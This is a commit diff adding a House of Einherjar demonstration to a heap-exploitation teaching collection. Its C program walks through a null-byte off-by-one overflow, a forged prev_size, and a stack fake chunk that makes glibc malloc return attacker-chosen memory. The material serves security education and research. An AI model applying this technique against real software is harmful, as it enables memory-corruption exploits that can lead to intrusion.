add House of Einherjar

Makefile

@@ -1,4 +1,4 @@
-PROGRAMS = fastbin_dup fastbin_dup_into_stack unsafe_unlink house_of_spirit poison_null_byte malloc_playground first_fit house_of_lore overlapping_chunks house_of_force unsorted_bin_attack
+PROGRAMS = fastbin_dup fastbin_dup_into_stack unsafe_unlink house_of_spirit poison_null_byte malloc_playground first_fit house_of_lore overlapping_chunks house_of_force unsorted_bin_attack house_of_einherjar
 CFLAGS += -std=c99 -g
 
 # Convenience to auto-call mcheck before the first malloc()

house_of_einherjar.c

@@ -0,0 +1,96 @@
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <stdint.h>
+#include <malloc.h>
+
+/*
+   Credit to st4g3r for publishing this technique
+   The House of Enherjar uses an off-by-one overflow with a null byte to control the pointers returned by malloc()
+   This technique may result in a more powerful primitive than the Poison Null Byte, but it has the additional requirement of a heap leak. 
+*/
+
+int main()
+{
+	printf("Welcome to House of Einherjar!\n");
+	printf("Tested in Ubuntu 16.04 64bit.\n");
+	printf("This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n");
+
+	uint8_t* a;
+	uint8_t* b;
+	uint8_t* c;
+	uint8_t* d;
+
+	printf("\nWe allocate 0x38 bytes for 'a'\n");
+	a = (uint8_t*) malloc(0x38);
+	printf("a: %p\n", a);
+
+    int real_a_size = malloc_usable_size(a);
+    printf("Since we want to overflow 'a', we need the 'real' size of 'a' after rounding: %#x\n", real_a_size);
+
+    // create a fake chunk
+    printf("\nWe create a fake chunk whereever we want, in this case we'll create the chunk on the stack\n");
+    printf("However, you can also create the chunk in the heap or the bss, as long as you know it's address\n");
+    printf("We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checks\n");
+    printf("(although we could do the unsafe unlink technique here in some senarios)\n");
+
+    size_t fake_chunk[6];
+
+    fake_chunk[0] = 0x41414141; // prev_size not used
+    fake_chunk[1] = 0x100; // size of the chunk just needs to be small enough to stay in the small bin
+    fake_chunk[2] = (size_t) fake_chunk; // fwd
+    fake_chunk[3] = (size_t) fake_chunk; // bck
+
+    printf("Our fake chunk at %p looks like:\n", fake_chunk);
+    printf("prev_size (not used): %#lx\n", fake_chunk[0]);
+    printf("size: %#lx\n", fake_chunk[1]);
+    printf("fwd: %#lx\n", fake_chunk[2]);
+    printf("bck: %#lx\n", fake_chunk[3]);
+
+	/* In this case it is easier if the chunk size attribute has a least significant byte with
+	 * a value of 0x00. The least significant byte of this will be 0x00, because the size of 
+	 * the chunk includes the amount requested plus some amount required for the metadata. */
+	b = (uint8_t*) malloc(0xf8);
+    int real_b_size = malloc_usable_size(b);
+
+	printf("\nWe allocate 0xf8 bytes for 'b'.\n");
+	printf("b: %p\n", b);
+
+    printf("We allocate a 3rd chunk to make sure we don't touch the wilderness (not necessary)\n");
+    c = malloc(0x60);
+	printf("c: %p\n", c);
+
+    /* this technique works by overwriting the size metadata of an allocated chunk as well as the prev_inuse bit*/
+	uint64_t* b_size_ptr = (uint64_t*)(b - 8);
+
+	printf("\nb.size: %#lx\n", *b_size_ptr);
+	printf("b.size is: (0x100) | prev_inuse = 0x101\n");
+	printf("We overflow 'a' with a single null byte into the metadata of 'b'\n");
+	a[real_a_size] = 0; 
+	printf("b.size: %#lx\n", *b_size_ptr);
+    printf("This is easiest if b.size is a multiple of 0x100 so you "
+           "don't change the size of b, only it's prev_inuse bit\n");
+    printf("If it had been modified, we would need a fake chunk inside "
+           "b where it will try to consolidate the next chunk\n");
+
+    // Write a fake prev_size to the end of a
+    printf("\nWe write a fake prev_size to the last %lu bytes of a so that"
+           "it will consolidate with our fake chunk\n", sizeof(size_t));
+    size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk);
+    printf("Our fake prev_size will be %p - %p = %#lx\n", b-sizeof(size_t)*2, fake_chunk, fake_size);
+    *(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size;
+
+    // free b and it will consolidate with our fake chunk
+    printf("Now we free b and this will consolidate with our fake chunk since b prev_inuse is not set\n");
+    free(b);
+    printf("Our fake chunk size is now %#lx (b.size + fake_prev_size)\n", fake_chunk[1]);
+    printf("We edit our fake chunk size so that it is small enough to pass size checks\n");
+    printf("This wouldn't be necessary if our fake chunk was the top chunk (if we hadn't allocated c)\n");
+
+    fake_chunk[1] = 0x1000;
+    printf("New fake_chunk size: %#lx\n", fake_chunk[1]);
+
+    printf("\nNow we can call malloc() and it will begin in our fake chunk\n");
+    d = malloc(0x200);
+    printf("Next malloc(0x200) is at %p\n", d);
+}